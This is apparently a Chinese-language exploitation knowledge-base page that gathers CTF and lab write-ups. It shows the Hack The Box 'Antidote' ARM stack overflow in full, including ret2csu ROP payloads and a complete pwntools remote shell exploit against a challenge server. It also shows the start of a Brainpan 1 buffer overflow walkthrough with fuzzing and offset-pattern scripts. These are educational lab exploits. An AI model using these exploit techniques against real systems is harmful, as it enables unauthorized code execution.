 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb77.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb78.jpg)


#### Summary of knowledge

 - HP jetdirect printer server exploit
 - aes python decrypt script
 - exploit GRPC service
 - port scan behind the firewall
 - Apache solr 1.4 exploit using gopher protocal
 - Pspy to see processes
 - socat port forwarding

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
















<!-- kb:end laser -->

</details>




# 栈与相邻对象覆盖

覆盖控制数据只是一个阶段，输入长度、坏字符、调用约定和可放置代码的空间决定后续布局。本章保留 Windows、Linux 与 ARM 案例的原始调试输出和最终脚本，按数据如何进入控制流来阅读。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/stack/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Brainpan 系列保留偏移、函数指针与多种入口，不能只取最后一份脚本推断全部过程。

BigheadWebSvr 的两篇分析分别使用调试器和静态分析，Egghunter 与分配长度各有对应证据。

Antidote 的 ARM 寄存器传参、Space 的分裂缓冲区以及 Tr0ll-2 的 SUID 环境具有不同约束。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [ARM32 调用约定与 ret2csu](#case-antidote) | antidote | ARM、QEMU、ROP、ret2csu |
| [EIP 偏移、坏字符与 JMP ESP](#case-brainpan-1) | brainpan-1 | 栈溢出、Shellcode、调试 |
| [多个二进制之间的输入边界](#case-brainpan-3) | brainpan-3 | 栈溢出、函数指针、格式化字符串 |
| [popen 解析与间接调用指针](#case-brainpan2) | brainpan2 | 命令注入、栈溢出、SSH |
| [请求处理器中的长度与堆分配](#case-hack-the-box-bigheadwebsvr-2) | hack-the-box-bigheadwebsvr-2 | Windows、堆溢出、IDA |
| [小缓冲区与 Egghunter 布局](#case-hack-the-box-bigheadwebsvr) | hack-the-box-bigheadwebsvr | Windows、Egghunter、Shellcode |
| [分裂缓冲区中的短 shellcode](#case-pwn-space) | pwn-space | 栈溢出、Shellcode、短跳转 |
| [归档材料、Shellshock 与 SUID 溢出](#case-tr0ll-2) | Tr0ll-2 | Shellshock、栈溢出、SUID |

<a id="case-antidote"></a>

## ARM32 调用约定与 ret2csu

分析保留 QEMU 与 gdb-multiarch 的搭建、r0 至 r3 参数传递、libc 地址泄漏和 ARM ret2csu 链。远程版本依赖题目随附的 libc。

<p class="kb-provenance">来源 antidote · 原记录 2021-11-03 · 15 个代码块 · 15 处图片引用</p>

<details class="kb-evidence" id="record-antidote">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start antidote -->

#### 详细过程及exp
#### 1. Basic checks:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote]
└─# file antidote 
antidote: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, not stripped
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote]
└─# checksec antidote
[*] '/root/hackthebox/challenge/pwn/Antidote/antidote'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)
```



#### 2. General overview:

As can be seen above, the executable has been compiled for ARM processors, and executing it on an x86_64 architecture would normally result in an error telling us that:

***The binary file cannot be executed due to an error in the executable format.***

It is because instructions are encoded differently on these two architectures.

You can bypass this restriction with the [QEMU user-space emulator](https://www.qemu.org/docs/master/user/main.html) which allows you to run binaries for other architectures on our host system.

#### 3. Install needed packages:

I am using Linux Mint 20, but it should work on Ubuntu as well:

``` bash
apt install gcc-arm-linux-gnueabihf binutils-arm-linux-gnueabihf binutils-arm-linux-gnueabihf-dbg gdb-multiarch qemu-user
```

Executing the binary with the [QEMU user emulator](https://www.qemu.org/docs/master/user/main.html) shows another error:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote]
└─# qemu-arm -L /usr/arm-linux-gnueabihf ./antidote
qemu-arm: Could not open '/lib/ld-linux.so.3': No such file or directory
```

Dynamic linker ld-linux.so.3 is needed, but it is named differently in the arm-linux-gnueabihf directory => (ld-linux-armhf.so.3).

To run binary you could copy this or link it to the /lib/ directory:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote]
└─# cp /usr/arm-linux-gnueabihf/lib/ld-linux-armhf.so.3 /lib/ld-linux.so.3
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote]
└─# qemu-arm -L /usr/arm-linux-gnueabihf ./antidote
Bzzzzzzz... Bzzzzzzzzzzzzzzz... Damn those bugs!
Come on, hurry up analyzing that bug's DNA! I can't wait to get out of here!
Careful there! That hurt!
```

#### 4. Debugging ARM binaries on X86_64

One of the ways you can debug this binary is to use the qemu-user emulator and tell GDB to connect to it through a TCP port.

To do this, run qemu-arm with the -g flag and a port number on which it should wait for a GDB connection.

The -L flag sets the ELF interpreter prefix to the path you supply.

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote]
└─# qemu-arm -g 1234 -L /usr/arm-linux-gnueabihf ./antidote
```

Open another terminal window and use the following command:

``` bash
gdb-multiarch -q --nh -ex 'set architecture arm' -ex 'file antidote' -ex 'target remote localhost:1234' -ex 'layout split' -ex 'layout regs'
```

The --nh flag instructs it to not read the .gdbinit file
(it can get buggy if you have a GDB wrapper installed)

The -ex options are the commands we want gdb-multiarch to set at the start of the session.

The first one sets the target architecture to arm
(use arm64 for 64-bit binaries)

Then the binary itself, tell it where to find the binary running in our qemu-arm emulation.

The final two commands are used to split and display the source, disassembly, command, and register windows.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/antidote.jpg)

#### 5. First vulnerability — Buffer overflow:

First, continue the execution in gdb (1).

Generate the de Bruijn sequence using cyclic (2).

Copy-paste the payload (3).

Spot the instruction pointer overflow (4).
(EIP == PC on the ARM arch)

Check the offset (5).

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/antidote1.jpg)

#### 6. Control the execution flow:

Restart the binary and attach gdb.

Create an overflow and set the 220–224 bytes to "BBBB" to confirm the Program Counter control.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/antidote2.jpg)

#### 7. Set up ARM environment:

Up to this point, I did everything on my operating system, however, I ran into some debugger configuration issues and I didn't want to make more changes to the host system, this pushed me to use the ready environment prepared by [Maria Markstedter](https://training.azeria-labs.com/about/), available at this [link](https://drive.google.com/file/d/1uX9fRUX-IHitQVD43QUsz9Aocy8pJ8XK/view).

Download the [VMware image](https://drive.google.com/file/d/1uX9fRUX-IHitQVD43QUsz9Aocy8pJ8XK/view).

Mount it.

Start ARM environment as shown below:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/antidote3.jpg)

Copy-paste challenge files to the Virtual Machine

Transfer files to the Raspberry:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/antidote4.jpg)

Test if it works:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/antidote5.jpg)

#### 8. Exploit the binary — bypass NX:

Create test1 file with

``` bash
python -c 'print "A"*220 + "BBBB" + "C"*200' > test1
```

Run the binary in gdb with test1 as an input

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/antidote6.jpg)


Disable ASLR on the Raspberry virtual machine:

``` bash
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
```

In ARM the first four arguments are passed via r0 to r3 and later arguments are passed through the stack.

In this case, the system function takes one argument as the command to be executed.

To get a shell you need to pass the string "/bin/sh" as the first argument in the register r0 and after that, call the system function.

Below is an example of a buffer overflow scenario with pop {r0, r4, pc} ROP gadget chain.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/antidote7.jpg)

(1) Padding of 220 "A" bytes.

(2) Address of ROP gadget from libc-2.19.so.
(it is libc used on Raspberry for local exploit only)

(3) Pointer to "/bin/sh\x00" string from libc-2.19.so popped into R0.

(4) Random junk-string popped into R4 register.

(5) System address from libc-2.19.so popped into PC.

``` bash
### HOW TO GET THE ADDRESSES:
ROPgadget --binary libc-2.19.so | grep "pop {r0, r4, pc}"
0x0007a12c : pop {r0, r4, pc}
---
strings -t x -a libc-2.19.so| grep "/bin/sh"
11db20 /bin/sh
---
nm -D libc-2.19.so | grep '\<system\>'
00039fac W system
---
python -c 'print "A"*220 + "\x2c\xe1\xeb\xb6" + "\x20\x1b\xf6\xb6" + "A" *4 + "\xac\xdf\xe7\xb6"'  > payload
```

Local code execution:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/antidote8.jpg)

#### 9. Remote exploit — [RET2CSU](https://gbyolo.gitlab.io/posts/2020/07/ret2csu-arm-32bit/):

In order to exploit the "Antidote" remotely, you have to leak the base libc address during binary runtime.

The libc.so.6 library used on the target machine was made available in the challenge package.

To calculate the base libc address, it will be needed to leak __write address from libc.so.6 during binary execution and its dynamic symbol address before execution.

You can utilize the [write(2)](https://man7.org/linux/man-pages/man2/write.2.html) functionality to do that because write() the function can be found within antidote binary which is loaded without any randomization on any system:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/antidote9.jpg)

RET2CSU exploit explained in three gadgets && three steps:

1. Fill R10, R8 and R7 with the three parameters for write() function.
2. Fill R3 with the address of the write() function 0x8420.
3. Utilize 3rd gadget for register swap and branching to the address inside R3.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/antidote10.jpg)

``` bash
### RET2CSU one liner:
python -c 'print "A" *220 + "\x28\x86\x00\x00" + "\x00" * 12 + "\x04\x00\x00\x00" + "\x50\x08\x01\x00" + "\x00" * 4 + "\x01\x00\x00\x00" + "\xcc\x83\x00\x00" + "\x20\x84\x00\x00" + "\xf4\x85\x00\x00"' > payload
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/antidote11.jpg)

Local Proof of concept works on Raspberry Pi.
You can observe a leak of write() from libc loaded during runtime:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/antidote12.jpg)

One last step in order to get the base of libc address is to calculate it by subtracting the __write address from libc.so.6:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote]
└─# nm -D libc.so.6 | grep "__write"
0008cbc5 W __write@@GLIBC_2.4
```

You can use below script in order to leak and calculate base address of libc:

``` python
from pwn import *

context(arch='arm', bits=32, endian='little')
context.log_level = "debug"

p = remote("138.68.131.63","31250")

pad      = 220 * "A"
csu1     = "\x28\x86\x00\x00"
r4       = "\x00"*4
r5       = "\x00"*4
r6       = "\x00"*4
r7_r2    = "\x04\x00\x00\x00"
r8_r1    = "\x50\x08\x01\x00" 
r9       = "\x00"*4
r10_r0   = "\x01\x00\x00\x00"
csu2     = "\xcc\x83\x00\x00"
r3_write = "\x20\x84\x00\x00"
csu3     = "\xf4\x85\x00\x00"

p.recv()
p.sendline(pad + csu1 + r4 + r5 + r6 + r7_r2 + r8_r1 + r9 + r10_r0 + csu2 + r3_write + csu3)

leak = p.recv()
leaked_write_libc = u32(leak)

print("Leaked write from libc: " + hex(leaked_write_libc))
libc_base = leaked_write_libc - 0x0008cbc5
print("Libc base address: " + hex(libc_base))
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/antidote13.jpg)

#### 10. Remote Code Execution:

There is no ASLR on the remote machine — you can deduce it after running the above script multiple times (Libc base address doesn’t change).

Use the leaked base address of libc to calculate proper addresses of ROP gadget, system() and "/bin/sh" pointer.

First, get the relative addresses:

``` bash
### How to get the address of ROP gadget:
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote]
└─# ROPgadget --binary libc.so.6 | grep "pop {r0, r4, pc}"
0x0005919c : pop {r0, r4, pc}

### How to get the pointer to "/bin/sh"
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote]
└─# strings -t x -a libc.so.6| grep "/bin/sh"
  d5f2c /bin/sh

### How to get the system address:
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote]
└─# nm -D libc.so.6 | grep '\<system\>'
0002d4cd W system@@GLIBC_2.4
```

Then add relative addresses to the leaked address of libc.

Working script with proper calculations, final exploit script:

``` python
from pwn import *

context(arch='arm', bits=32, endian='little')
context.log_level = "debug"

p = remote("138.68.131.63","31250")

padding         = 220 * "A"
base_of_libc    = int(("0xff69f000"),16)
addr_of_rop     = p32(base_of_libc + 0x0005919c)
addr_bin_sh     = p32(base_of_libc + 0xd5f2c)
junk_for_r4     = 4 * "\x00"
addr_system     = p32(base_of_libc + 0x0002d4cd)

p.sendline(padding + addr_of_rop + addr_bin_sh + junk_for_r4 + addr_system)
p.recv()

p.interactive()
```

Run it against the remote target:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote]
└─# python finalexp.py
[+] Opening connection to 138.68.131.63 on port 31250: Done
[DEBUG] Sent 0xed bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    000000d0  41 41 41 41  41 41 41 41  41 41 41 41  9c 81 6f ff  │AAAA│AAAA│AAAA│··o·│
    000000e0  2c 4f 77 ff  00 00 00 00  cd c4 6c ff  0a           │,Ow·│····│··l·│·│
    000000ed
[DEBUG] Received 0x98 bytes:
    'Bzzzzzzz... Bzzzzzzzzzzzzzzz... Damn those bugs!\n'
    "Come on, hurry up analyzing that bug's DNA! I can't wait to get out of here!\n"
    'Careful there! That hurt!\n'
[*] Switching to interactive mode
$ cat /home/ctf/flag.txt
[DEBUG] Sent 0x17 bytes:
    'cat /home/ctf/flag.txt\n'
[DEBUG] Received 0x3d bytes:
    'HTB{Th4nk_y0u_f0r_h3lp1ng_m3_w1th_th4t_bug!Y0u_s4ved_my_arm}\n'
HTB{Th4nk_y0u_f0r_h3lp1ng_m3_w1th_th4t_bug!Y0u_s4ved_my_arm}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/antidote14.jpg)

#### 摘自(致敬原作)......

 - 浏览medium.com博客每月有次数限制，并且5$收费，故摘录文章。。。
 - [PWN Antidote — HTB](https://karol-mazurek95.medium.com/pwn-antidote-htb-8293082bc985)
<!-- kb:end antidote -->

</details>

<a id="case-brainpan-1"></a>

## EIP 偏移、坏字符与 JMP ESP

从模糊测试到 cyclic 偏移确认，再将跳转地址、NOP 区和 shellcode 拼接为原有载荷。Wine 与 Windows 的调试现象、man 提权也保留。

<p class="kb-provenance">来源 brainpan-1 · 原记录 2020-01-26 · 24 个代码块 · 12 处图片引用</p>

<details class="kb-evidence" id="record-brainpan-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start brainpan-1 -->

#### 名称
名称：Brainpan: 1
发布日期：2013年3月20日

#### 下载

 - Download (Mirror): https://download.vulnhub.com/brainpan/Brainpan.zip
 - Download (Torrent): https://download.vulnhub.com/brainpan/Brainpan.zip.torrent

#### 描述

``` bash
 _               _                         
| |__  _ __ __ _(_)_ __  _ __   __ _ _ __  
| '_ \| '__/ _` | | '_ \| '_ \ / _` | '_ \ 
| |_) | | | (_| | | | | | |_) | (_| | | | |
|_.__/|_|  \__,_|_|_| |_| .__/ \__,_|_| |_|
                        |_|                
                            by superkojiman  
                 http://www.techorganic.com
```

#### 免责声明

使用此虚拟机，即表示您同意，在任何情况下概不负责任何损失或损害，包括但不限于间接或随之而来的损失或损害，或任何损失或损害因使用引起的或与使用有关的数据或利润损失该软件。
TL; DR：如果发生坏事，这不是我的错。

#### 设定

Brainpan经过测试，发现可在以下虚拟机监控程序上工作：
-VMware Player 5.0.1
-VMWare Fusion 5.0
-VirtualBox 4.2.8
将Brainpan导入首选的虚拟机监控程序并配置网络根据需要进行设置。它会通过DHCP获取IP地址，但是建议在NAT内运行它，或者仅对主机操作系统可见，因为它容易受到攻击。

资料来源：Brainpan.zip/readme.txt

``` bash
MD5（brainpan.ova）= fc0f163220b9884df5dcc9cdc45361e4
```
资料来源：Brainpan.zip/md5.txtVulnHub独家！



#### 信息收集

nmap扫一顿

``` bash
root@kali:~# nmap -sn -v 192.168.56.0/24
Nmap scan report for 192.168.56.115
Host is up (0.00042s latency).
MAC Address: 08:00:27:DE:BA:CA (Oracle VirtualBox virtual NIC)

root@kali:~# nmap -p- -v -Pn -sV 192.168.56.115
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
```

访问一下看看是什么东西:

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub188.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub189.jpg)


扫一下目录看看

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub190.jpg)

在bin目录中有一个二进制文件？

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub191.jpg)

将这个exe文件下载下来，然后用ollydbug工具调试

调试之前，先分析下brainpan.exe

``` bash
root@kali:~/vulnhub/brainpan1# file brainpan.exe 
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
root@kali:~/vulnhub/brainpan1# strings brainpan.exe 
!This program cannot be run in DOS mode.
.text
`.data
.rdata
@.bss
.idata
[^_]
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
[^_]
[get_reply] s = [%s]
[get_reply] copied %d bytes to buffer
shitstorm
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|
[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              
                          >> 
                          ACCESS DENIED
                          ACCESS GRANTED
[+] initializing winsock...
[!] winsock init failed: %d
done.
[!] could not create socket: %d
[+] server socket created.
[!] bind failed: %d
[+] bind done on port %d
[+] waiting for connections.
[+] received connection.
[+] check is %d
[!] accept failed: %d
[+] cleaning up.
-LIBGCCW32-EH-3-SJLJ-GTHR-MINGW32
w32_sharedptr->size == sizeof(W32_EH_SHARED)
../../gcc-3.4.5/gcc/config/i386/w32-shared-ptr.c
GetAtomNameA (atom, s, sizeof(s)) != 0
AddAtomA
ExitProcess
FindAtomA
GetAtomNameA
SetUnhandledExceptionFilter
__getmainargs
__p__environ
__p__fmode
__set_app_type
_assert
_cexit
_iob
_onexit
_setmode
abort
atexit
free
malloc
memset
printf
signal
strcmp
strcpy
strlen
太多了省略。。。
```

这里有几个很重要：

 - 这个brainpan.exe看起来与端口9999上的侦听过程相同
 - shitstorm 看起来像密码
 - strcpy 可能是缓冲区溢出攻击向量

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub192.jpg)

显然，应该尝试可能的密码shitstorm。

``` bash
root@kali:~# nc 192.168.56.115 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> shitstorm
                          ACCESS GRANTED
```

返回。
嗯...如何检查strcpy函数。
虽然有适用于Linux的Evan的Debugger和Immunity Debugger（通过wine执行），但我选择在Windows环境中将Immunity Debugger用于“windozy”类型的任务。

免责声明：对于那些已经知道如何执行简单的strcpy缓冲区溢出的人，可以快速进入下一节，因为这本身就很冗长且“用户友好”。选择为每个步骤包括大量的模糊测试代码和详细信息，以便对这种攻击媒介不熟悉的任何人都可以轻松学习并希望了解该过程。

是时候使用快速模糊器来看看是否可以获取导致段错误的输入。这是经常使用的一些代码，并在进行过程中使用shellcode和register进行修改。简单，有效。


etfuzz.py

``` bash
import sys,socket
 
victim = '192.168.56.115'
port = 9999
 
junk = "\x41" * 1000
 
payload = junk 
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
try:
  print "[-] Connecting to " + str(victim)
  s.connect((victim, port))
  s.recv(1024)
 
  # Send payload 
  print "[-] Sending payload.... ",
  s.send(payload)
  print "Done"
 
except:
  print "[-] Unable to connect to " + str(victim)
  sys.exit(0)
```

是时候运行brainpan.exe并使用Immunity Debugger附加到进程。在Windows机器上侦听该进程的情况下，在端口9999上放置1000个模糊测试（\x41），看看是否遇到段错误。

``` bash
C:\Users\HASEE\Desktop\brainpan1>python etfuzz.py
[-] Connecting to 192.168.43.98
[-] Sending payload....  Done
```

``` bash
C:\Users\HASEE\Desktop\brainpan1>brainpan.exe
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
[+] received connection.
[get_reply] s = [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(_]
[get_reply] copied 1003 bytes to buffer
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub193.jpg)

AM！造成了我们想要的段错误，所见，已经成功地使用模糊A覆盖了eip。是时候控制自己，享受一些乐趣了。
下一步，需要多少字节来填充缓冲区以使eip？使用Metasploit的工具进行此活动。创建一个模式作为开始。

``` bash
root@kali:~/vulnhub/brainpan1# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
```

将其添加到模糊测试脚本etfuzz.py中，用模式输出替换掉A的垃圾数据。

``` bash
import sys,socket
 
victim = '192.168.43.98'
port = 9999
 
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
 
payload = junk 
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
try:
  print "[-] Connecting to " + str(victim)
  s.connect((victim, port))
  s.recv(1024)
 
  # Send payload 
  print "[-] Sending payload.... ",
  s.send(payload)
  print "Done"
 
except:
  print "[-] Unable to connect to " + str(victim)
  sys.exit(0)
```

下一步。重新启动brainpan.exe进程，重新附加到进程，然后将模糊测试脚本发送给侦听器。

``` bash
C:\Users\HASEE\Desktop\brainpan1>python etfuzz.py
[-] Connecting to 192.168.43.98
[-] Sending payload....  Done
```

``` bash
C:\Users\HASEE\Desktop\brainpan1>brainpan.exe
[+] initializing winsock...done.
